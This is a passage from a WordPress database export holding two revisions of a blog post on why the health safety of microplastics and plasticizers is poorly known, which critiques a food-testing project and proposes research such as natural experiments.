-->\n\n<!-- wp:paragraph -->\n<p>And here’s where you get a sense of why this is so difficult. If we take the 12 types of plastics from the microplastic study, and&nbsp;<a href=\"https://en.wikipedia.org/wiki/Plasticizer\">the 30 most common plasticizers from Wikipedia</a>, we end up having to do at least 400 series of studies to cover just the most common plastics, plasticizers, and combinations of them. Assuming a low preclinical cost of $2 million<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-4-145179625\">4</a>, we are talking about $800 million in studies to just get through the animal studies, which would be our most basic studies on the safety of microplastics. And this is assuming we’re just doing our standard 6 month studies. If we’re trying to stretch these studies out longer to see longer term effects, the studies get way more expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But let’s assume we get through these animal studies, and let’s assume we aren’t the FDA, who would shut down any chemical that has the sort of worrying results that some of these plasticizers have in rats (more on those later). After all, if we were the FDA, we’d just have to balance the benefit of a chemical to human health vs. the risk of a chemical to human health, but our job as would-be microplastic regulators is harder than that. We have to balance the benefit of a chemical to the economy vs. the risk of a chemical to human health, which is a tricky calculation to make (maybe). Well, if we get to the point where our microplastics have passed our animal studies, we’d want to move onto human studies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But we can’t, of course. It’s unethical to intentionally test these plastics in humans. It’s somehow not unethical to unintentionally test these drugs in humans, by using them to package food, but that’s a mystery for the philosophers. And, even if we could test these plastics in humans, getting the sort of data that we’d really want in humans, the long-term data of years of continuous low-level exposure, is basically impossible in our current funding environment. Decade-long studies are very rare nowadays<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-5-145179625\">5</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, given that we don’t have enough money to test the safety all, or most, or even a significant fraction of the plastics, plasticizers, and combinations that are present in the products we consume every day (and in our testicles), and given that we can’t intentionally test these drugs in humans, the data that we do actually have for the safety of microplastics ends up being a poor combination of 1-3 and a weak version of 6. Or, to be more specific, for microplastics and similar chemicals the best we can get is:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) Whatever in-vitro results have been tested based on educated guesswork</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) Small animal (usually mouse or rat) toxicology with limited pathology, because university labs rarely have the funding or capability to do large animal toxicology or complete clinical pathology</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) Whatever other random small animal trials get done</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6) Circumstantial evidence from humans who’ve been exposed to microplastics</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s definitely not up to our gold standard, in other words. Probably a copper standard at best. So, that’s why we end up with such wishy-washy statements about the actual harm of microplastics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to improve the evidence on microplastic safety&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I’ve started to notice some interest in microplastics from super wealthy people, which is part of the reason I wrote this post. I think it’s worthwhile to do better research on microplastics, because I think there’s a definite possibility they could be a much more serious health problem than we realize.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, I don’t think this better research will come from the big microplastics project that was just announced,&nbsp;<a href=\"https://x.com/natfriedman/status/1792924812307751409\">Nat Friedman’s project</a><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-6-145179625\">6</a>. Now, I have a lot of respect for Nat, at least as far as I know him. I think&nbsp;<a href=\"https://scrollprize.org/\">his Scroll project</a>&nbsp;was very cool and well done, and I am hugely in favor of rich people funding science in the public interest. So, this is all meant as a good faith criticism.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nat’s project is basically about surveying the top 80-100 foods that people want surveyed for microplastics, and then publishing the results. That’s pretty much it, as far as I can tell, along with publishing a review of the existing literature on the safety of microplastics<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-7-145179625\">7</a>. Unfortunately, this doesn’t engage with the pre-existing literature, as they say.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because, in the pre-existing literature, there’s already been a bunch of studies on microplastics in common foods. Just from a quick Google search, I found&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) A big Consumer Reports study of&nbsp;<a href=\"https://www.consumerreports.org/health/food-contaminants/the-plastic-chemicals-hiding-in-your-food-a7358224781/\">microplastics in 67 grocery store foods and 18 fast foods</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) A study of&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9119856/\">plasticizers in fast food in San Antonio&nbsp;</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) And a study of&nbsp;<a href=\"https://www.nature.com/articles/s41370-023-00596-0\">plasticizers in a variety of organic and non-organic vegetable oils, dairy, and infant formulae</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these studies find basically the same thing, which is that there’s a wide range of plasticizer concentrations in common food items, from a lot to none. Now, there are some gaps in this testing literature, like how they mostly focus on phthalates, a specific type of plasticizer, and how the selection of food items to test seems to be random, but, overall, the message seems pretty clear: the food you buy probably has plasticizers in it, which might be bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think Nat’s project can meaningfully contribute to this research. At best, the guys working on Nat’s project might be able to test new foods for additional plasticizers beyond phthalates, which will, I guess, give more evidence as to how the food we buy has plasticizers in it, but that’s not much of a contribution. Knowing that additional food items do or do not have plasticizers in them doesn’t really help us much, given our lack of knowledge about the health effects of consuming plasticizers or plastics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, I think the real gaps that exist are either further upstream or further downstream. Further upstream, the gaps are more along the lines of why there is such a big variation in plasticizer concentration in foods, like how there are 1000 ng of phthalates in Mrs. Butterworth’s syrup vs. 22 ng of phthalates in Sweet Baby Ray’s BBQ sauce. This is a huge discrepancy of 500x for two similar sized products with similar packaging, and none of the literature seems to have good explanations for it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the discrepancy lies in the packaging materials themselves or the packaging process, this presents obvious opportunities for follow-up experiments to try to reduce the levels of phthalates by altering the materials or packaging process. This would also present obvious opportunities for regulatory or grassroots pressure to mandate low-phthalate materials or processes for packaged foods, because the regulation could just be “Do whatever Sweet Baby Ray’s does”, assuming that’s universalizable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, if the discrepancy does not lie in the packaging materials or process, this would also be an interesting result. This would suggest a more fundamental contamination of the food supply with phthalates, like that the corn used to make Mrs. Butterworth’s is already filled with phthalates by the time it’s harvested. This would also be much more disturbing, but, you know, that’s science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Figuring out why these discrepancies exist and how to test them would, of course, require more expertise than simply blindly testing items. Conagra isn’t likely to be open about how Mrs. Butterworth’s syrup is made, and it’d be impossible to figure it out by just blind guessing. But manufacturing consultants with this expertise exist in the food industry just like they do in the drug industry, and I’m sure they’d love to get paid and be an author on a paper, because that’s not a common opportunity for them. And I’d bet these consultants will have some thoughts already about this discrepancy, because phthalates are probably a well-discussed topic in their meetings. I’m sure it’s not a happy coincidence that Sweet Baby Ray’s has low phthalate levels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6003add6-d4fc-447b-934a-8661d779bda9_374x1000.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6003add6-d4fc-447b-934a-8661d779bda9_374x1000.jpeg\" alt=\"Amazon.com : Mrs. Butterworth\'s Original Thick and Rich Pancake Syrup, 12  oz : Grocery &amp; Gourmet Food\" title=\"Amazon.com : Mrs. Butterworth\'s Original Thick and Rich Pancake Syrup, 12  oz : Grocery &amp; Gourmet Food\"/></a><figcaption class=\"wp-element-caption\">Mrs. Butterworth’s: for that smooth, plasticky taste you can’t get anywhere else.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, the upstream gap is&nbsp;<em>why&nbsp;</em>the discrepancy exists. The downstream gap is, of course, the health consequences of this gap. As I said at the beginning of this piece, there are still a bunch of unanswered questions as to what the consequences of any of this are. It’s definitely not good that Mrs. Butterworth’s secret ingredient is phthalates, but whether that’s a catastrophe on the level of lead in the drinking water is still up for debate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Barring massive amounts of money for animal testing or a permissive environment for human testing, I think the best case scenario here would be a natural experiment. If there’s some scenario in which people with excellent long-term health records get suddenly exposed to high levels of microplastics, then matching those people with controls could show clearly the health effects of microplastics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most obvious place to look for these would be places where people get both prescribed meals and regular health checkups, like prisons, the military, and long-term care. This would, again, require some legwork. Figuring out which facilities serve food with high levels of phthalates or other sorts of microplastics and then working with them to analyze their health data will not be easy, either scientifically or regulatorily (not only because health data is protected, but because this could embarrass or legally endanger the facility in question).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, this line of research would be very rewarding. This research could give us a clear signal like, “People in the Army consume high levels of phthalates and have high levels of infertility. People who’ve eaten more Army food with phthalates have higher levels of infertility than other soldiers, with infertility starting directly after consumption of phthalates.” This would be a very strong result in the microplastic literature and, again, provide ample fodder for regulators or consumers to demand changes, now that there’s stronger evidence of the actual health damages caused by microplastics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I get that both of these lines of research would entail greater funding, more expertise, and more time than Nat’s project. They also don’t involve the power of amateur researchers, which Nat’s Scroll project used really effectively and which Nat is kind of involving here by&nbsp;<a href=\"https://www.plasticlist.org/\">having people vote on which food items to test for microplastics</a>, although that seems mostly like a marketing gimmick. But, you know, science does sometimes take time, money, and expertise. And what’s the point of making tons of money through AI investing if you can’t spend some of it on good science?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">The microplastic safety evidence that does exist in table format</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Ok, enough about what we could find out. Let’s talk about what we do know. I’ve made a short table below of the known health consequences of the most common types of plastics and plasticizers.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fair warning: there’s really not much, even for the most common plastics and plasticizers and even when I group plastics and plasticizers instead of breaking them up into their actual chemical formulae. We are unfortunately far, far away from our gold standard of toxicology for each type of plastic, plasticizer, and combination. Also, shout out to Perplexity.AI for making this research easier than I thought it was going to be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With that being said, here is the table. Please note that these are images, and if you want the links in the images, you’ll have to go to&nbsp;<a href=\"https://docs.google.com/document/d/1hDggXO2S8BXdyVK4zDsZ9z7FcvrNjOB7XR3T1flZLO8/edit?usp=sharing\">this Google Doc</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6043bb26-a374-4ea7-858e-06bf6447ed8b_1106x1316.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6043bb26-a374-4ea7-858e-06bf6447ed8b_1106x1316.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F335712f9-dd35-4b61-ab4b-3e5e54d3d7be_1118x991.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F335712f9-dd35-4b61-ab4b-3e5e54d3d7be_1118x991.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-1-145179625\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are some older drugs that are grandfathered in and probably would not pass modern safety testing regimes. People often bring up Tylenol as an example of one of these drugs, because acetaminophen, the active ingredient in Tylenol, is very easy to overdose on (literally just double the recommended daily dose, or the equivalent of taking one maximum strength pill per waking hour), overdoses can be fatal and need to be treated at a hospital, and yet it can be bought by children without a prescription.<br><br>Another interesting grandfathered drug I came across recently was Afrin, the nasal decongestant. Afrin can be bought over the counter, and yet it becomes addictive in just 3 days of use, in the sense that you will become physically dependent on it to open up your sinuses. People who are predisposed to addiction can also become easily addicted to it in the more classical sense, suffering anxiety that can only be alleviated by more Afrin. You can find some horror stories on Reddit of people whose lives get ruined by addiction to Afrin. Again, it’s unlikely Afrin would pass modern safety testing regimes because of this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-2-145179625\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Traditionally, these two species are mice and dogs. This is problematic because dogs, especially, are susceptible to some chemicals that humans are not (e.g. chocolate). This has led to the common drug developers’ complaint, “Drugs kill dogs and dogs kill drugs”. This susceptibility, combined with dogs’ propensity to vomit randomly, has made minipigs increasingly popular as a second species.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-3-145179625\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Too strict, in my opinion, but that’s an argument for another post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-4-145179625\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is like a minimum to do your basic batch of in vitro studies and in vivo toxicology studies for well-understood small molecules. Specialty testing, like for a new modality, or long-term testing, like for a gene therapy, will be more expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-5-145179625\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are a few national health services that might be a good fit for this, like Taiwan’s or Sweden’s, because they collect and publicly analyze their data anyways, but I haven’t seen any studies from them like this. I think the way they work is that they release data that’s already being regularly collected for studies, but they won’t collect new types of data for a study. I could be wrong, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-6-145179625\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Conflict of interest notice: I applied for the project when he just said he needed someone for a microplastics project, which I assumed was going to be a research project similar to this one. I talked to Nat over Zoom, found out what he planned, and sent him an email similar to this section to try to persuade him to do differently, which he didn’t respond to. That encounter, combined with my pre-existing interest in microplastics and this fun plastic testicle study, made me write this post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-7-145179625\">7</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>He also mentions something about “Stretch goal is to develop ‘Lactaid for microplastics’”. Lactaid, if you don’t know, is a consumable form of the lactase enzyme, which allows lactose-intolerant people to consume lactose products. I’m not sure how serious Nat is about this stretch goal, but, if he is, this really doesn’t make sense. There aren’t any enzymes that can develop microplastics, at least not in humans. They’d have to develop a bacteria that can quickly digest microplastics and then people would consume these bacteria every time they eat food with microplastics, which could be any food. There are a bunch of problems with this, not least of which would be the safety issue of consuming those bacteria. I’m not sure Nat has thought this through.</p>\n<!-- /wp:paragraph -->','On the safety of microplastics','','publish','closed','closed','','on-the-safety-of-microplastics','','','2024-06-12 17:12:00','2024-06-12 17:12:00','',0,'https://trevorklee.com/?page_id=448',0,'page','',0),
(449,1,'2024-06-12 17:12:00','2024-06-12 17:12:00','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Intro to the safety of microplastics</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I saw this toxicology study the other day about&nbsp;<a href=\"https://academic.oup.com/toxsci/advance-article-abstract/doi/10.1093/toxsci/kfae060/7673133?redirectedFrom=fulltext&amp;login=false\">microplastics being found in dog and human testicles</a>. In the study, they examined the testicles of 23 autopsied men and 47 neutered dogs in New Mexico, and found that all of them had small bits of plastic in their testicles. This study drew a lot of media attention,&nbsp;<a href=\"https://www.npr.org/sections/health-shots/2024/05/22/1252831827/microplastics-testicles-humans-health\">like this piece from NPR</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the NPR piece, they do the typical science journalism thing, and get some quotes from the study authors and other scientists to put the findings in context, as well as bring in brief references to other, similar studies. And, of course, one of the most basic context-finding questions NPR asks is, “This is bad, right?” But, instead of the confident answer one might hope for, like “Yes,” or “Definitely,”, the article features quotes like:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><!-- wp:paragraph -->\n<p>\"What [microplastics] do in the body, we don\'t know,\" says Campen, a professor at the UNM College of Pharmacy and one of the authors of the study, \"Obviously, little tiny particles can disrupt the way cells behave.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp;<em>correlation&nbsp;</em>[emphasis mine]<em>&nbsp;</em>between lower sperm count in the dog testicles and the presence of PVC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An&nbsp;<em>association&nbsp;</em>[emphasis mine]<em>&nbsp;</em>between greater levels of PVC and decreased weight of the testicles</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Microplastics were \"suspected\" to harm sperm quality and testicular health, but … that may soon tip over from \"suspected\" to \"likely\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We don\'t know the clinical ramifications of that yet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"I think there have to be a lot of caveats saying this is really the beginning,\" says Swan, a professor at the Icahn School of Medicine at Mount Sinai, \"It\'s suggestive, it\'s important, and it\'s preliminary.\"</p>\n<!-- /wp:paragraph --></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>This is not exactly the confident language one is looking for from health professionals! It’s like a crime article about how cops found a smoking gun, but can’t prove there’s been a murder, and the cops can only discuss how the smoking gun would definitely be a big deal if someone has, in fact, died.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, what’s the deal with these unconfident statements? Do the scientists quoted all suffer from a lack of confidence? Are they all in the pocket of big plastic/testicle? How do we get to the point where we can actually say for sure that plastic in our testicles is bad?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, join me on a magical journey as we discuss:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) how we determine the safety of chemicals in general&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) how that applies to microplastics</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) how to establish actual knowledge about microplastic safety</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4) What we actually know about microplastic safety</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How safety is actually measured</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s no mystery why we don’t know whether microplastics are safe. Determining safety is really hard. Human history is filled with stories of chemicals that we thought were safe but weren’t, like asbestos, or chemicals we thought were dangerous but are actually relatively safe, like cholesterol. The real mystery is how we accurately determined the safety of any chemical at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e5188bd-c703-438a-89e1-abe455eddee2_770x324.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e5188bd-c703-438a-89e1-abe455eddee2_770x324.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Yeah, I guess this is the header image. I’m not proud of it.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Determining whether a new chemical (or old chemical that was never tested) is safe is hard, expensive, and difficult ethically. This is doubly so for something like microplastics, where the safety concerns mostly come in the form of worrying about the long term systemic effects. We as a society are spoiled by the high quality safety information we get about chemicals like the pharmaceuticals we take, and don’t realize the effort that takes to produce.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any drug you take, especially a new drug, has had to pass incredibly extensive safety testing<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-1-145179625\">1</a>. This is why I get frustrated by people questioning the safety of GLP-1 receptor agonists, because there are very few chemicals in history which have been tested as thoroughly as semaglutide. This isn’t to say that these drugs are completely safe, but it is to say that the costs and benefits of drugs like semaglutide have been extensively measured and argued over and, net-net, they are definitively boons to humanity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, similarly, this is why I get so frustrated by people who want to skip safety testing and sell drugs directly to the public (not that any specific drug comes to mind…). The safety of drugs like semaglutide isn’t a happy accident. It’s something that collectively millions of hours and billions of dollars has been spent making possible and establishing. It’s just as stupid to take someone’s untested drug as it is to get in your neighbor’s homemade supercar, and you should take a random drugmaker’s reassurances of n-of-1 safety as seriously as you take your neighbor’s reassurance of “My Frankenvette hasn’t exploded yet”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Safety testing for drugs, as you might imagine, is pretty formalized. Drugs have to pass roughly this series of safety tests:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) In vitro toxicology (i.e. does it kill or harm the wrong cells in the petri dish)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) Two species animal toxicology. This means that the drug has to go through explorations to find the lethal dose of the drug when given for both short and long periods of time to at least 2 species of animal<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-2-145179625\">2</a>. Any health issues that come up for non lethal doses are also explored and documented, usually requiring a full clinical histopathology (i.e. testing blood regularly and also cutting open the animal at the end of the tests to examine any damage to their organs)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) Other animal safety tests, depending on the drug. For example, any drug that might be given to pregnant women will likely be tested on pregnant animals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4) Safety tests in healthy humans</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5) Safety tests in sick humans with the disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6) Postmarketing surveillance, which means seeing what adverse effects pop up when the drug is given to actual patients based off of doctors’ reports</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are no hard and fast rules about exactly how badly you have to do in one of these tests for your drug to get canceled, but these tests are quite strict<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-3-145179625\">3</a>. At the end of all of these tests, if the drug actually ends up on the market, you end up with an enormous amount of information about how these drugs affect the body. You have a really good idea of which safety issues the drug can cause and in what circumstances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This, to my mind, is a gold standard of what we mean when we discuss whether a chemical is safe. If a doctor (or the FDA) wants to know if semaglutide is safe for pregnant women, they can look through long-term and short-term data on the drug in actual patients, in placebo-controlled trials, in biopsied animals with biopsied fetuses, and in reproductive cells in a petri dish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Why microplastic safety is hard</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, microplastics don’t have that sort of extensive safety data. In fact, they can’t have that data, because “microplastics” is a general term for small pieces of a bunch of different types of plastics (12 in the testicle study) which are blended with plasticizers, additives that change the properties of plastics. So, any given microplastic is a blend of at least two separate chemicals, and there’s no guarantee as to what percentage of each chemical is in the microplastic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So that’s the first major issue with determining the safety of microplastics: “microplastic” is more of a colloquial term than a scientific term. We should really be talking about the safety of specific types of plastics and plasticizers, just like we talk about the safety of individual drugs rather than drugs as a whole. And, if we want to actually go by FDA safety testing standards as our gold standards, we should really, really be talking about the safety of the plastics alone, the plasticizers alone, and the combination of them in the ratios that would actually be present in the “wild”.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe09abb-e7f4-45e0-81fe-37f6b1c7b6f7_768x474.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdfe09abb-e7f4-45e0-81fe-37f6b1c7b6f7_768x474.jpeg\" alt=\"300-Mile Swim Through The Great Pacific Garbage Patch Will Collect Data On  Plastic Pollution\" title=\"300-Mile Swim Through The Great Pacific Garbage Patch Will Collect Data On  Plastic Pollution\"/></a><figcaption class=\"wp-element-caption\">Supposedly the giant Pacific garbage patch is more about microplastics than visible garbage, but, in that case, I don’t know why this image shows up when I search “giant Pacific garbage patch”. Well, I’m too lazy to find out.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And here’s where you get a sense of why this is so difficult. If we take the 12 types of plastics from the microplastic study, and&nbsp;<a href=\"https://en.wikipedia.org/wiki/Plasticizer\">the 30 most common plasticizers from Wikipedia</a>, we end up having to do at least 400 series of studies to cover just the most common plastics, plasticizers, and combinations of them. Assuming a low preclinical cost of $2 million<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-4-145179625\">4</a>, we are talking about $800 million in studies to just get through the animal studies, which would be our most basic studies on the safety of microplastics. And this is assuming we’re just doing our standard 6 month studies. If we’re trying to stretch these studies out longer to see longer term effects, the studies get way more expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But let’s assume we get through these animal studies, and let’s assume we aren’t the FDA, who would shut down any chemical that has the sort of worrying results that some of these plasticizers have in rats (more on those later). After all, if we were the FDA, we’d just have to balance the benefit of a chemical to human health vs. the risk of a chemical to human health, but our job as would-be microplastic regulators is harder than that. We have to balance the benefit of a chemical to the economy vs. the risk of a chemical to human health, which is a tricky calculation to make (maybe). Well, if we get to the point where our microplastics have passed our animal studies, we’d want to move onto human studies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But we can’t, of course. It’s unethical to intentionally test these plastics in humans. It’s somehow not unethical to unintentionally test these drugs in humans, by using them to package food, but that’s a mystery for the philosophers. And, even if we could test these plastics in humans, getting the sort of data that we’d really want in humans, the long-term data of years of continuous low-level exposure, is basically impossible in our current funding environment. Decade-long studies are very rare nowadays<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-5-145179625\">5</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, given that we don’t have enough money to test the safety all, or most, or even a significant fraction of the plastics, plasticizers, and combinations that are present in the products we consume every day (and in our testicles), and given that we can’t intentionally test these drugs in humans, the data that we do actually have for the safety of microplastics ends up being a poor combination of 1-3 and a weak version of 6. Or, to be more specific, for microplastics and similar chemicals the best we can get is:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) Whatever 